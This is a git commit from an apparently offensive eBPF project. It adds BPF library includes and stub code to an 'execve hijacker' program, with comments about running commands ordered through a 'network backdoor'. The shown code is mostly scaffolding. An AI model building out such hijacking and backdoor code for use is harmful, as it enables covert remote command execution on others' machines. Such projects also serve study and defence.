Added new map structure, in preparation for new internal maps storing requested commands via the network backdoor

This commit is contained in:
h3xduck
2022-02-14 20:08:30 -05:00
parent edbaf09c06
commit 2ae705f037
8 changed files with 1678 additions and 1636 deletions

View File

@@ -5,8 +5,9 @@
#include <fcntl.h>
#include <unistd.h>
#include <time.h>
char* buf = "A string";
#include <sys/wait.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
int main(int argc, char* argv[]){
printf("Hello world from execve hijacker\n");
@@ -22,6 +23,10 @@ int main(int argc, char* argv[]){
printf("Argument %i is %s\n", ii, argv[ii]);
}
//We proceed to fork() and exec the original program, whilst also executing the one we
//ordered to execute via the network backdoor
//int bpf_map_fd = bpf_map_get_fd_by_id()
int fd = open("/tmp/execve_hijack", O_RDWR | O_CREAT | O_TRUNC, 0666);
int ii = 0;